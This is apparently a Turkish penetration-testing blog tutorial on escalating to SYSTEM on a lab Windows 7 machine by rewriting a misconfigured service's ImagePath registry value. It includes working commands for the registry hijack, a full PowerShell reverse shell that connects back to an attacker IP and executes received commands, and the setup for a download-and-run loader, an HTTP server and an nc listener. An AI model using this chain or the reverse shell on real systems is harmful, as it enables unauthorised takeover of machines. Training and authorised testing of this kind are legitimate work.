Kayıt Değeri Yetkilendirmesi Yanlış Yapılandırılmış Servis Zafiyetinin İstismar Edilerek Windows İşletim Sisteminde Yetki Yükseltilmesi

0
89
views
Windows sızma testleri sırasında yapılandırma ayarlarının güvenilir bir şekilde gerçekleştirilmemesi ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Windows 7 işletim sisteminde güvenli bir şekilde yetkilendirilmemiş bir servise ait kayıt defteri değeri kötüye kullanılarak SYSTEM yetkisi ile komut çalıştırılacaktır.

Windows 7 sanal makinesine standart yetkilere sahip “Mehmet” kullanıcısı ile komut satırı erişimi elde edilebildiği (RDP gibi bir yöntem ile masaüstü erişimine sahip olunamadığı) varsayılmaktadır.

whoami /priv
systeminfo | findstr /B OS
net user
net localgroup Administrators

 

1) Servise Ait Kayıt Değeri Yetkilendirme Zafiyetinin Accesschk Aracı İle Tespiti

Windows işletim sisteminde servislere ait bilgiler Kayıt Defteri üzerinde belli bir anahtar (Key) altında saklanır.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

 

Servislere ait kayıt değerlerinin yetkilendirmesini kontrol etmek için Sysinternalsaccesschk” aracı kullanılabilir. Bu araç internetten indirilir.

wget https://download.sysinternals.com/files/AccessChk.zip
unzip AccessChk.zip

 

Kali üzerindeki accesschk.exe adlı dosya Windows 7 makineye gönderilecektir. Bu amaçla Kali üzerinde bir SMB servisi başlatılabilir.

mv accesschk.exe /tmp/
python /usr/share/doc/python-impacket/examples/smbserver.py PAYLASIM /tmp/

 

Sonra da kurban Windows 7 bilgisayardan Kali paylaşımındaki accesschk.exe dosyası alınır.

net use K: \\192.168.0.26\PAYLASIM
dir K:
copy K:\accesschk.exe .

 

Bu işlemlere ait Kali paylaşımındaki loglar aşağıdaki gibidir.

 

Kayıt defteri yetkilendirmeleri incelendiğinde, “AeLookupSvc” servisine ait anahtarlar (ve alt anahtarlarının) için, tüm yerel kullanıcılara (Users) tam erişim yetkisine verildiği görülmektedir.

accesschk Everyone -kvuqsw HKLM\System\CurrentControlSet\services
accesschk “Authenticated Users” -kvuqsw HKLM\System\CurrentControlSet\services
accesschk Users -kvuqsw HKLM\System\CurrentControlSet\services

 

Tüm yetkiler bir dosyaya atılarak da incelenebilir.

accesschk -kvuqsw HKLM\System\CurrentControlSet\services > TumYetkiler.txt

 

Not: Eğitim amacı ile özelleştirilen Windows 7 bilgisayarındaki “AeLookupSvc” servis yetkilendirmesi değiştirilmiştir. Gerçek ortamlarda bu serviste yetkilendirme hatası bulunmamakla birlikte özellikle üçüncü taraf uygulamalarda benzer zafiyetler görülebilir. Benzer zafiyet ProShow 5.0.3310 uygulamasında bulunmaktadır.

https://downloads.tomsguide.com/proshow,0301-6599.html

 

2) Servise Ait Kayıt Değeri İzinlerinin Arayüzden İncelenmesi

“AeLookupSvc” servisindeki yetkilendirme, Kayıt Defteri arayüzü üzerinden incelenebilir.

 

3) Servise Ait Kayıt Değeri İzinlerinin SubInACL Aracı ile İncelenmesi

Kayıt defterinde yetkilendirmesini arayüzden incelemek ve değiştirmek yerine SysinternalsSubInACL” komut satırı aracı da kullanılabilir.

https://www.microsoft.com/en-us/download/details.aspx?id=23510

İndirilen MSI paketi kurulduğunda varsayılan olarak “C:\Program Files (x86)\Windows Resource Kits\Tools” dizininde “subinacl.exe” dosyası oluşur.

 

Kuruluma gerek kalmadan “subinacl.exe” dosyası Kali üzerinden Windows 7 makineye bir önceki adımda belirtildiği şekilde SAMBA üzerinden atılabilir.

subinacl.exe /keyreg “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\AeLookupSvc” /display

 

4) Servis Yetkilendirme Zafiyetinin İstismarı – I. Adım: ImagePath değerinin Güncellenmesi

AeLookupSvc” servisindeki yetkilendirme zafiyetinin istismarı için mevcut “ImagePath” değeri değiştirilebilr.

reg query “HKLM\System\CurrentControlSet\Services\AeLookupSvc” /v “ImagePath”

 

Mevcuttaki “%systemroot%\system32\svchost.exe -k netsvcs” değeri yerine yeni bir yönetici kullanıcı oluşturabilen, Meterpreter bağlantısı sağlayan bir uygulamayı çalıştırabilen, mevcuttaki yönetici kullanıcılarından birisinin parolasını değiştirebilen, bir takım hileler (Image File Execution Options gibi) kullanarak arka kapı açabilen,… uygulamalar hazırlanabilir. Hazırlanan bu uygulama da “HakYukselt.exe” adı ile kaydedilebilir. Bu uygulama “reg” aracı ile “ImagePath” olarak ayarlanır.

reg add “HKLM\System\CurrentControlSet\Services\AeLookupSvc” /t REG_EXPAND_SZ /v ImagePath /d “C:\Users\Mehmet\HakYukselt.exe” /f
reg query “HKLM\System\CurrentControlSet\Services\AeLookupSvc” /v “ImagePath”

 

Böylece servis yeniden başladığında “C:\Users\Mehmet\” dizini altındaki “HakYukselt.exe” uygulaması çalışacaktır.

 

5) Servis Yetkilendirme Zafiyetinin İstismarı – II. Adım: Uygulamanın Hazırlanması

HakYukselt.exe adlı uygulama ile Kali üzerindeki BaglantiYakala.ps1 isimli Powershell dosyası indirilip çalıştırılması sağlanarak SYSTEM yetkisi ile ters bağlantı elde edilebilir. BaglantiYakala.ps1 isimli Powershell dosyasının içeriği aşağıdaki gibidir.

$client = New-Object System.Net.Sockets.TCPClient(“192.168.0.26”,44443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

 

Bu dosyayı indirecek olan basit bir C uygulaması aşağıdaki gibi oluşturulabilir.

 

 

Bu dosya, saldırı amacı ile kullanılan bir Windows makinede Dev-C++ gibi bir derleyici ile derlenebilir. Dev-C++ internetten indirilip standart bir uygulama gibi (Next-Next) kurulabilir.

https://www.bloodshed.net/dev/devcpp.html
https://sourceforge.net/projects/dev-cpp/

Sonrasında da yeni bir proje oluşturulur.

File > New > Project

 

Hazırlanan C kodu main.c içerisine kopyalanabilir.

 

Derleme işlemi ile “HakYukselt.exe” dosyası oluşmuş olur.

 

Hazırlanan dosya kurban Windows 7 makineye indirilip “C:\Users\Mehmet\” dizinine atılabilir.

“HakYukselt.exe” çalıştığında Kali üzerindeki web servisi üzerinden Powershell dosyası (http://192.168.0.26:9090/BaglantiYakala.ps1) indirilecek ve sonra da çalıştırılarak Kali’nin TCP/44443 portuna ters bağlantı talebi gönderilecektir. Bu sebeple Kali’nin TCP\9090 portunda bir web servis, TCP/44443 portunda ise “nc” dinleyicisi başlatılır.

python -m SimpleHTTPServer 9090
nc -nlvp 44443

 

AeLookupSvc” servisi yeniden başlatıldığında (veya bu servis otomatik olarak başlangıç tipine sahip ise, bilgisayar yeniden başlatıldığında) “HakYukselt.exe” çalışacak ve servisi çalıştıran “NT AUTHORITY\SYSTEM” yetkisi ile ters bağlantı elde edilmiştir.

 

Kaynaklar:

https://attack.mitre.org/techniques/T1058/
Insecure Registry Permissions
https://labs.mwrinfosecurity.com/assets/1089/original/Windows_Services_-_All_roads_lead_to_SYSTEM-1.1-oct15.pdf
https://medium.com/@shy327o/windows-privilege-escalation-insecure-service-1-ec4c428e4800

 

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz